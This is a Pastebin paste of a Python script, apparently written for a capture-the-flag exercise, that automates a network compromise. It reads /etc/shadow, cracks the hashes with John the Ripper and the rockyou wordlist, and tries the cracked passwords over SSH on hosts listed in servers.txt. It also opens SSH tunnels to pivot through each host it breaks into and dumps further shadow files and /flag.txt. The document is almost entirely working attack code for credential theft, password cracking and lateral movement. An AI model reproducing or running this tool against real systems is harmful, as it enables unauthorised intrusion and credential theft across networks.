Advertisement
Guest User

Untitled

a guest
Apr 14th, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.40 KB | None | 0 0
  1. import os
  2. import subprocess
  3. import sys
  4. import threading
  5. import queue
  6. import time
  7. import paramiko
  8. import socketserver
  9. import select
  10.  
  11. if sys.version_info < (3, 0):
  12. print("Must be run with python3")
  13. exit()
  14.  
  15. ##### Globals
  16. COMPUTER = {}
  17. IP = {}
  18.  
  19. CRED = set()
  20. CRACKABLE = []
  21.  
  22. Computer_Number = 0
  23. Port_Number = 4444
  24.  
  25. flag_not_found = True
  26.  
  27. Q = queue.Queue()
  28. COMPUTER[0] = {"reachable":[],
  29. "reached":[],
  30. "access":None,
  31. "credentials":None,
  32. "root":False
  33. }
  34.  
  35. ##### Helper functions
  36. def attempt_logon(hostname, port, username, password, command=None):
  37. try:
  38. ssh_client = paramiko.SSHClient()
  39. ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  40. ssh_client.connect(hostname=hostname,port=port,username=username,password=password)
  41. if command == None:
  42. return (True, None)
  43. else:
  44. stdin,stdout,stderr=ssh_client.exec_command(command)
  45. if stderr.readlines() == []:
  46. return (True, stdout)
  47. else:
  48. return (False, None)
  49. except Exception as e:
  50. return (False, None)
  51. finally:
  52. ssh_client.close()
  53.  
  54. def load_servers(fileContent):
  55. try:
  56. servers = []
  57. for line in fileContent.split("\n"):
  58. try:
  59. ip, port = line.split(":")
  60. servers.append([ip, port])
  61. except:
  62. pass
  63. return servers
  64. except Exception as e:
  65. print("Error parsing servers.txt:" + str(e))
  66.  
  67. def load_shadow(fileContent):
  68. load_shadow.filenumber
  69. try:
  70. with open('shadows/%d' % load_shadow.filenumber,'w+') as file:
  71. file.write(fileContent)
  72. CRACKABLE.append(load_shadow.filenumber)
  73. COMPUTER[0]["root"] = True
  74. except Exception as e:
  75. print("Error writing to directory: "+str(e))
  76. load_shadow.filenumber += 1
  77. load_shadow.filenumber = 0
  78.  
  79. ##### Thread Classes
  80. class john(threading.Thread):
  81. def __init__(self):
  82. threading.Thread.__init__(self)
  83. global CRACKABLE
  84. global CRED
  85. def timeout(self):
  86. self.running = False
  87. def run(self):
  88. self.running = True
  89. while self.running:
  90. if len(CRACKABLE) != 0:
  91. try:
  92. file = str(CRACKABLE.pop())
  93. p = subprocess.Popen(["john", "shadows/"+file, "--wordlist=./rockyou.txt", "--pot=./john.pot"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  94. (output, err) = p.communicate()
  95. p.stdout.close()
  96. p.stderr.close()
  97. p = subprocess.Popen(["john", "shadows/"+file, "--show", "--pot=./john.pot"], stdout=subprocess.PIPE)
  98. (output, err) = p.communicate()
  99. p.stdout.close()
  100.  
  101. for line in output.decode("utf-8").split("\n"):
  102. try:
  103. CRED.add((line.split(":")[0], line.split(":")[1]))
  104. print("New cred : %s %s" % (line.split(":")[0], line.split(":")[1]))
  105. except:
  106. pass
  107. old_cred = list(CRED)
  108. for username, p in old_cred:
  109. for u, password in old_cred:
  110. CRED.add((username, password))
  111. time.sleep(.25)
  112. except Exception as e:
  113. print(e)
  114. pass
  115. class cred(threading.Thread):
  116. def __init__(self):
  117. threading.Thread.__init__(self)
  118. global CRACKABLE
  119. global CRED
  120. global COMPUTER
  121. def timeout(self):
  122. self.running = False
  123. def run(self):
  124. self.running = True
  125. num_creds = 0
  126. while self.running:
  127. if len(CRED) == num_creds:
  128. time.sleep(.25)
  129. continue
  130. num_creds = len(CRED)
  131. for Comp_Num in COMPUTER.keys():
  132. if COMPUTER[Comp_Num]["root"] == False and COMPUTER[Comp_Num]["access"] != None:
  133. for q in IP.keys():
  134. if IP[q] == Comp_Num:
  135. print("Trying to gain root for %s" % q)
  136. break
  137. for username, password in CRED:
  138. success, output = attempt_logon(COMPUTER[Comp_Num]["access"][0], COMPUTER[Comp_Num]["access"][1], username, password, "cat /etc/shadow")
  139. if success:
  140. COMPUTER[Comp_Num]["root"] == True
  141. load_shadow(output.read().decode())
  142. print("Accessed root for %s" % q)
  143. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
  144. if success:
  145. print("FLAG START ------")
  146. print(output.read().decode("utf-8"))
  147. print("FLAG END --------")
  148. flag_not_found = False
  149.  
  150. flag_not_found = False
  151.  
  152. class tunn(threading.Thread):
  153. def __init__(self, local_port, server_hostname, server_port, remote_hostname, remote_port, username, password):
  154. threading.Thread.__init__(self)
  155. global CRACKABLE
  156. global CRED
  157. self.local_port = local_port
  158. self.server_hostname = server_hostname
  159. self.server_port = server_port
  160. self.remote_hostname = remote_hostname
  161. self.remote_port = remote_port
  162. self.username = username
  163. self.password = password
  164. def timeout(self):
  165. self.running = False
  166. def run(self):
  167. local_port = self.local_port
  168. server_hostname = self.server_hostname
  169. server_port = self.server_port
  170. remote_hostname = self.remote_hostname
  171. remote_port = self.remote_port
  172. username = self.username
  173. password = self.password
  174. running = True
  175. def verbose(s):
  176. if False:
  177. print(s)
  178. try:
  179. client = paramiko.SSHClient()
  180. client.load_system_host_keys()
  181. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  182.  
  183. client.connect(
  184. server_hostname,
  185. server_port,
  186. username=username,
  187. password=password
  188. )
  189.  
  190. class Handler(socketserver.BaseRequestHandler):
  191. def handle(self):
  192. try:
  193. chan = self.ssh_transport.open_channel(
  194. "direct-tcpip",
  195. (self.chain_host, self.chain_port),
  196. self.request.getpeername(),
  197. )
  198. except Exception as e:
  199. verbose(
  200. "Incoming request to %s:%d failed: %s"
  201. % (self.chain_host, self.chain_port, repr(e))
  202. )
  203. return
  204. if chan is None:
  205. verbose(
  206. "Incoming request to %s:%d was rejected by the SSH server."
  207. % (self.chain_host, self.chain_port)
  208. )
  209. return
  210.  
  211. verbose(
  212. "Connected! Tunnel open %r -> %r -> %r"
  213. % (
  214. self.request.getpeername(),
  215. chan.getpeername(),
  216. (self.chain_host, self.chain_port),
  217. )
  218. )
  219. while True:
  220. r, w, x = select.select([self.request, chan], [], [])
  221. if self.request in r:
  222. data = self.request.recv(1024)
  223. if len(data) == 0:
  224. break
  225. chan.send(data)
  226. if chan in r:
  227. data = chan.recv(1024)
  228. if len(data) == 0:
  229. break
  230. self.request.send(data)
  231.  
  232. peername = self.request.getpeername()
  233. chan.close()
  234. self.request.close()
  235. verbose("Tunnel closed from %r" % (peername,))
  236.  
  237. class SubHander(Handler):
  238. chain_host = remote_hostname
  239. chain_port = remote_port
  240. ssh_transport = client.get_transport()
  241.  
  242. class ForwardServer(socketserver.ThreadingTCPServer):
  243. daemon_threads = True
  244. allow_reuse_address = True
  245.  
  246. ForwardServer(("", local_port), SubHander).serve_forever()
  247. except Exception as e:
  248. print("AH: "+str(e))
  249.  
  250. ##### Init Main
  251. # Create shadow directory
  252. try:
  253. os.mkdir("shadows")
  254. except:
  255. pass
  256. # Get ips of host
  257. try:
  258. (output, err) = subprocess.Popen(["hostname -I"], stdout=subprocess.PIPE, shell=True).communicate()
  259. for ip in output[:-2].decode('utf-8').split(" "):
  260. IP[ip] = 0
  261. except Exception as e:
  262. print("Error determining ip address: "+str(e))
  263. # Read /root/servers.txt
  264. try:
  265. (output, err) = subprocess.Popen(["cat /root/servers.txt"], stdout=subprocess.PIPE, shell=True).communicate()
  266. for ip, port in load_servers(output.decode("utf-8")):
  267. COMPUTER[0]["reachable"].append((ip, port, ip, port))
  268. Q.put(0)
  269. except Exception as e:
  270. print("Error opening servers.txt: "+str(e))
  271. # Read /etc/shadow
  272. try:
  273. with open('/etc/shadow') as file:
  274. load_shadow(file.read())
  275. COMPUTER[0]["root"] == True
  276. except exception as e:
  277. print("Cannot open /etc/shadow: %s"+str(e))
  278. sys.exit(1)
  279. # Read /flag.txt
  280. try:
  281. with open('/flag.txt') as file:
  282. print("FLAG START ------")
  283. for line in file.readlines():
  284. print(line)
  285. print("FLAG END --------")
  286. flag_not_found = False
  287. except:
  288. pass
  289.  
  290. ##### Init Threads
  291. John_Thread = john()
  292. Cred_Thread = cred()
  293.  
  294. Cred_Thread.daemon = True
  295. John_Thread.daemon = True
  296.  
  297. John_Thread.start()
  298. Cred_Thread.start()
  299.  
  300.  
  301. Tunn_Threads = []
  302.  
  303. ##### Main
  304. while Q.qsize() != 0:
  305. q = Q.get()
  306. Computer = COMPUTER[q]
  307. for ip, port, tunn_ip, tunn_port in Computer["reachable"]:
  308. if ip in IP.keys():
  309. if ip not in Computer["reached"]:
  310. Computer["reached"].append(ip)
  311. continue
  312. print("Try : "+ip)
  313. old_cred = list(CRED)
  314. for username, password in old_cred:
  315. if attempt_logon(tunn_ip, tunn_port, username, password)[0]:
  316. remote = {
  317. "reachable":[],
  318. "reached":[],
  319. "access": (tunn_ip, tunn_port),
  320. "credentials":None,
  321. "root":False
  322. }
  323. print("Credentials: %s:%s via %s:%s : %s %s" % (ip, port, tunn_ip, tunn_port, username, password))
  324. for new_ip in attempt_logon(tunn_ip, tunn_port, username, password, "hostname -I")[1].read()[:-2].decode('utf-8').split(" "):
  325. IP[new_ip] = Computer_Number
  326.  
  327. try:
  328. for new_ip, new_port in load_servers(attempt_logon(tunn_ip, tunn_port, username, password, "cat servers.txt")[1].read().decode("utf-8")):
  329. new_ip = str(new_ip)
  330. new_port = int(new_port)
  331. Port_Number += 1
  332. print("Create tunnel 127.0.0.1:%s to %s:%s via %s:%s"% (Port_Number, new_ip, new_port, tunn_ip, tunn_port))
  333. remote["reachable"].append((new_ip, new_port, "127.0.0.1", Port_Number))
  334. T = tunn(Port_Number, tunn_ip, tunn_port, new_ip, new_port, username, password)
  335. T.daemon = True
  336. T.start()
  337. Tunn_Threads.append(T)
  338. except Exception as e:
  339. pass
  340.  
  341.  
  342. # Initialize credenetials
  343. remote["credentials"] = (username, password)
  344.  
  345. # Check for root
  346. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /etc/shadow")
  347. if success:
  348. remote["root"] = True
  349. print("Gained root : "+ip)
  350. load_shadow(output.read().decode("utf-8"))
  351.  
  352. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
  353. if success:
  354. print("FLAG START ------")
  355. print(output.read().decode("utf-8"))
  356. print("FLAG END --------")
  357. flag_not_found = False
  358. Computer_Number += 1
  359. Q.put(Computer_Number)
  360. COMPUTER[Computer_Number] = remote
  361.  
  362. break
  363.  
  364. if(len(Computer["reached"]) != len(Computer["reachable"])):
  365. Q.put(q)
  366. time.sleep(.25)
  367.  
  368. while flag_not_found:
  369. time.sleep(.1)
  370.  
  371. print("Done")
  372. sys.exit()
  373. #### End
  374. John_Thread.timeout()
  375. Cred_Thread.timeout()
  376.  
  377. John_Thread.join()
  378. Cred_Thread.join()
  379.  
  380. for T in Tunn_Threads:
  381. T.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement